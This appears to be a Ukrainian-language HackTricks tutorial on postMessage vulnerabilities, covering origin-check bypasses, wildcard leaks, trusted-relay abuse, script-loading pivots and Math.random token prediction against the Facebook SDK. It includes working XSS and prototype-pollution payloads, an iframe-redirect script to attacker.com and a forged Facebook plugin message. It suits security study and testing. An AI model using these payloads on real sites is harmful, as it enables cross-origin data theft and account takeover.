PostMessage Уразливості
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Надіслати PostMessage
PostMessage використовує наведену нижче функцію для надсилання повідомлення:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Зверніть увагу, що targetOrigin може бути ‘*’ або URL, наприклад https://company.com.\
У другому сценарії, повідомлення може бути надіслане лише на цей домен (навіть якщо origin Window object відрізняється).\
Якщо використано wildcard, повідомлення можуть бути надіслані на будь-який домен, і вони будуть надіслані на origin Window object.
Атака iframe & wildcard в targetOrigin
Як пояснюється в this report, якщо ви знайдете сторінку, яку можна iframed (без захисту X-Frame-Header) і яка відправляє чутливе повідомлення через postMessage, використовуючи wildcard (*), ви можете змінити origin iframe і leak чутливе повідомлення на домен, контрольований вами.\
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener exploitation
addEventListener — це функція, яку використовує JS для оголошення функції, яка очікує postMessages.
Код, схожий на наведений нижче, буде використаний:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Зверніть увагу, що в цьому випадку перше, що робить код — це перевіряє origin. Це надзвичайно важливо, особливо якщо сторінка збирається робити з отриманою інформацією щось чутливе (наприклад змінювати пароль). Якщо вона не перевіряє origin, attackers can make victims send arbitrary data to this endpoints і змінити паролі жертв (в цьому прикладі).
Перерахування
У щоб знайти event listeners на поточній сторінці ви можете:
- Шукати JS-код на
window.addEventListenerі$(window).on(JQuery version) - Виконати в консолі інструментів розробника:
getEventListeners(window)
 (1).png)
- Перейти в Elements –> Event Listeners в інструментах розробника браузера
.png)
- Використати розширення для браузера як https://github.com/benso-io/posta або https://github.com/fransr/postMessage-tracker. Це розширення перехопить всі повідомлення і покаже їх вам.
Обхід перевірки origin
- Атрибут
event.isTrustedвважається безпечним, оскільки повертаєTrueтільки для подій, згенерованих справжніми діями користувача. Хоча його важко обійти при коректній реалізації, його значення у перевірках безпеки істотне. - Використання
indexOf()для валідації origin в PostMessage подіях може бути вразливим до обходу. Приклад, що ілюструє цю вразливість:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
- Метод
search()зString.prototype.search()призначений для регулярних виразів, а не рядків. Передача чогось, що не є regexp, призводить до неявного перетворення в regex, роблячи метод потенційно небезпечним. Це пов’язано з тим, що в regex крапка (.) діє як метасимвол-джокер, що дозволяє обходити перевірку за допомогою особливо сконструйованих доменів. Наприклад:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Функція
match(), подібно доsearch(), працює з regex. Якщо regex неправильно складений, вона може бути піддатливою до обходу. -
Функція
escapeHtmlпризначена для санітизації вводу шляхом екранування символів. Однак вона не створює новий екранований об’єкт, а перезаписує властивості існуючого об’єкта. Цю поведінку можна використати в атаці. Зокрема, якщо об’єкт можна маніпулювати так, що контрольована властивість не визнаєhasOwnProperty,escapeHtmlне спрацює як очікується. Це демонструється у прикладах нижче: -
Очікуваний провал:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- Обхід escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
У контексті цієї вразливості об’єкт File особливо експлуатується через його лише для читання властивість name. Ця властивість, коли використовується у шаблонах, не санітизується escapeHtml, що призводить до потенційних ризиків безпеки.
- Властивість
document.domainу JavaScript може бути встановлена скриптом для скорочення домену, що дозволяє послабити застосування same-origin policy в межах того ж батьківського домену.
Довіра лише origin + довірені ретранслятори
Якщо приймач перевіряє лише event.origin (наприклад довіряє будь-якому *.trusted.com), часто можна знайти “relay” page on that origin that echoes attacker-controlled params via postMessage до вказаного targetOrigin/targetWindow. Прикладами є маркетингові/аналітичні гаджети, які приймають query params і пересилають {msg_type, access_token, ...} до opener/parent. Ви можете:
- Відкрити сторінку жертви у popup/iframe, який має
openerщоб її обробники зареєструвались (багато pixels/SDKs підключаються тільки коли існуєwindow.opener). - Навести інше вікно атакувальника на relay endpoint на довіреному origin, заповнивши поля повідомлення, які ви хочете інжектити (message type, tokens, nonces).
- Оскільки повідомлення тепер надходить з довіреного origin, валідація тільки по origin проходить, і ви можете викликати привілейовані дії (зміни стану, API виклики, запис у DOM) в слухачі жертви.
Типові зловживання, помічені на практиці:
- Analytics SDKs (наприклад pixel/fbevents-style) споживають повідомлення типу
FACEBOOK_IWL_BOOTSTRAP, потім викликають backend APIs, використовуючи токен, переданий у повідомленні і включаютьlocation.href/document.referrerв тіло запиту. Якщо ви передасте свій токен, ви можете побачити ці запити в історії/логах запитів токена і витягти OAuth codes/tokens, що містяться в URL/referrer сторінки жертви. - Будь-який relay, що відображає довільні поля у
postMessage, дозволяє вам підробляти message types очікувані привілейованими слухачами. Поєднайте це зі слабкою валідацією вводу, щоб досягти викликів Graph/REST, розблокування функцій або потоків, еквівалентних CSRF.
Поради для пошуку: перераховуйте postMessage слушачів, які перевіряють лише event.origin, потім шукайте same-origin HTML/JS endpoints that forward URL params via postMessage (marketing previews, login popups, OAuth error pages). З’єднайте обидва за допомогою window.open() + postMessage, щоб обійти перевірки origin.
e.origin == window.origin обхід
Коли вбудовуєте веб-сторінку в sandboxed iframe використовуючи %%%%%%, важливо розуміти, що origin iframe буде встановлено в null. Це особливо важливо при роботі з sandbox attributes та їхніми наслідками для безпеки та функціональності.
Вказавши allow-popups у sandbox атрибуті, будь-яке popup вікно, відкрите зсередини iframe, успадковує обмеження sandbox свого батька. Це означає, що якщо не включити також атрибут allow-popups-to-escape-sandbox, origin popup вікна аналогічно буде встановлено в null, збігаючись із origin iframe.
Як наслідок, коли popup відкрито за таких умов і повідомлення відправляється з iframe у popup за допомогою postMessage, обидва кінці (відправник і отримувач) матимуть origin, встановлений у null. Це призводить до ситуації, де e.origin == window.origin оцінюється як true (null == null), оскільки і iframe, і popup мають однакове значення origin — null.
Для додаткової інформації прочитайте:
Bypassing SOP with Iframes - 1
Обхід e.source
Можна перевірити, чи повідомлення прийшло з того самого вікна, в якому скрипт слухає (особливо цікаво для Content Scripts from browser extensions для перевірки, чи повідомлення надіслано з тієї ж сторінки):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
Ви можете примусово зробити e.source повідомлення null, створивши iframe, який надсилає postMessage і негайно видаляється.
For more information read:
Bypassing SOP with Iframes - 2
X-Frame-Header bypass
Щоб виконати ці атаки, ідеально було б, якби ви могли розмістити сторінку жертви всередині iframe. Але деякі заголовки, такі як X-Frame-Header, можуть перешкодити цій поведінці.
У таких випадках ви все ще можете використати менш приховану атаку. Ви можете відкрити нову вкладку з уразливим веб-додатком і взаємодіяти з ним:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Викрадення повідомлення, надісланого child iframe шляхом блокування main сторінки
На наведеній сторінці ви можете побачити, як можна викрасти sensitive postmessage data, надіслане child iframe, шляхом blocking main сторінки перед відправленням даних та зловживання XSS in the child, щоб leak the data до того, як воно буде отримано:
Blocking main page to steal postmessage
Викрадення повідомлення шляхом зміни iframe location
Якщо ви можете iframe-нути веб-сторінку без X-Frame-Header, яка містить інший iframe, ви можете change the location of that child iframe, тож якщо він отримує postmessage, надіслане з використанням wildcard, атакуючий може change origin цього iframe на сторінку, controlled ним, і steal повідомлення:
Steal postmessage modifying iframe location
postMessage to Prototype Pollution and/or XSS
У випадках, коли дані, надіслані через postMessage, виконуються JS, ви можете iframe сторінку та exploit prototype pollution/XSS, відправивши експлойт через postMessage.
Кілька very good explained XSS though postMessage можна знайти за адресою https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Приклад експлойта для зловживання Prototype Pollution and then XSS через postMessage до iframe:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
Для додаткової інформації:
- Посилання на сторінку про prototype pollution
- Посилання на сторінку про XSS
- Посилання на сторінку про client side prototype pollution to XSS
Завантаження скрипта з origin та поворот у ланцюжку постачання (кейc CAPIG)
capig-events.js реєстрував message обробник лише коли існував window.opener. На IWL_BOOTSTRAP він перевіряв pixel_id, але зберігав event.origin і пізніше використовував його для побудови ${host}/sdk/${pixel_id}/iwl.js.
Обробник, що записує origin, контрольований зловмисником
```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```Exploit (origin → script-src pivot):
- Get an opener: наприклад, у Facebook Android WebView повторно використовувати
window.nameзwindow.open(target, name), щоб вікно стало своїм власним opener, після чого надіслати повідомлення з шкідливого iframe. - Відправити
IWL_BOOTSTRAPз будь-якого origin, щоб зберегтиhost = event.originуlocalStorage. - Розмістити
/sdk/<pixel_id>/iwl.jsна будь-якому CSP-allowed origin (takeover/XSS/upload на whitelisted analytics domain).startIWL()потім завантажує attacker JS на embedding site (наприклад,www.meta.com), що дозволяє credentialed cross-origin calls і account takeover.
Якщо прямий контроль opener був неможливим, компрометація third-party iframe на сторінці все одно дозволяла відправити сконструйований postMessage батьківському вікну, щоб отруїти збережений host і примусити завантаження скрипта.
Backend-generated shared script → stored XSS: плагін AHPixelIWLParametersPlugin конкатенував user rule parameters у JS, доданий до capig-events.js (наприклад, cbq.config.set(...)). Впровадження breakouts типу "]} дозволяло інжектувати довільний JS, створюючи stored XSS у shared script, який віддавався всім сайтам, що його підключали.
Trusted-origin allowlist isn’t a boundary
Строге перевіряння event.origin працює лише якщо trusted origin не може виконувати attacker JS. Коли привілейовані сторінки вбудовують third-party iframes і припускають, що event.origin === "https://partner.com" є безпечним, будь-яка XSS у partner.com стає містком у parent:
// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})
Шаблон атаки, виявлений у реальному світі:
- Exploit XSS in the partner iframe і впровадити relay gadget, щоб будь-який
postMessageстав code exec всередині trusted origin:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
- From the attacker page, надішліть JS у скомпрометований iframe, який пересилає дозволений тип повідомлення назад до parent. Повідомлення походить від
partner.com, проходить allowlist і містить HTML, який вставляється небезпечно:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
- Батьківський фрейм інжектить зловмисний HTML, даючи JS execution in the parent origin (e.g.,
facebook.com), що може бути використано для крадіжки OAuth кодів або переходу до повного захоплення акаунта.
Ключові висновки:
- Partner origin isn’t a boundary: будь-який XSS у «довіреному» партнері дозволяє нападникам відправляти дозволені повідомлення, що обходять перевірки
event.origin. - Обробники, які render partner-controlled payloads (e.g.,
innerHTMLon specific message types), перетворюють компрометацію партнера на same-origin DOM XSS. - Велика message surface (багато типів, відсутня валідація структури) дає більше gadgets для pivoting після компрометації партнерського iframe.
Predicting Math.random() callback tokens in postMessage bridges
Коли валідація повідомлень використовує «shared secret», згенерований за допомогою Math.random() (e.g., guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) і той самий хелпер також дає імена plugin iframes, ви можете відновити PRNG outputs і підробити trusted messages:
- Leak PRNG outputs via
window.name: The SDK auto-names plugin iframes withguid(). Якщо ви контролюєте the top frame, iframe-нете сторінку жертви, потім навігніть the plugin iframe до вашого origin (e.g.,window.frames[0].frames[0].location='https://attacker.com') і прочитайтеwindow.frames[0].frames[0].name, щоб отримати сирийMath.random()output. - Force more outputs without reloads: Деякі SDK expose a reinit path; в the FB SDK, firing
init:postwith{xfbml:1}змушуєXFBML.parse(), знищує/створює заново the plugin iframe і генерує нові names/callback IDs. Повторний reinit продукує стільки PRNG outputs, скільки потрібно (зверніть увагу на додаткові внутрішні викликиMath.random()для callback/iframe IDs, тому solvers повинні пропускати проміжні значення). - Trusted-origin delivery via parameter pollution: Якщо first-party plugin endpoint відображає unsanitized parameter у cross-window payload (e.g.,
/plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), ви можете інжектити&type=...&iconSVG=...одночасно зберігаючи trustedfacebook.comorigin. - Predict the next callback: Перетворіть leaked iframe names назад у floats в
[0,1)і подайте кілька значень (навіть непослідовних) в V8Math.randompredictor (e.g., Z3-based). Згенеруйте наступнийguid()локально, щоб підробити очікуваний callback token. - Trigger the sink: Сформуйте postMessage data так, щоб the bridge dispatches
xd.mpn.setupIconIframeі інжектував HTML вiconSVG(e.g., URL-encoded<img src=x onerror=...>), досягаючи DOM XSS всередині hosting origin; звідти можна читати same-origin iframes (OAuth dialogs, arbiters, etc.). - Framing quirks help: Ланцюг вимагає framing. У деяких mobile webviews
X-Frame-Optionsможе деградувати до непідтримуваногоALLOW-FROM, коли присутнійframe-ancestors, і параметри “compat” можуть примусити permissiveframe-ancestors, дозволяючи side channelwindow.name.
Мінімальний приклад підробленого повідомлення
// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback
Посилання
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Leaking fbevents: ексфільтрація OAuth-коду через довіру до postMessage, що призводить до Instagram ATO
- Для практики: https://github.com/yavolo/eventlistener-xss-recon
- CAPIG postMessage довіра до origin → завантаження скрипта + stored JS injection
- Self XSS Facebook Payments
- Facebook JavaScript SDK Math.random callback передбачення → DOM XSS розбір
- V8 Math.random() відновлення стану (Z3 predictor)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


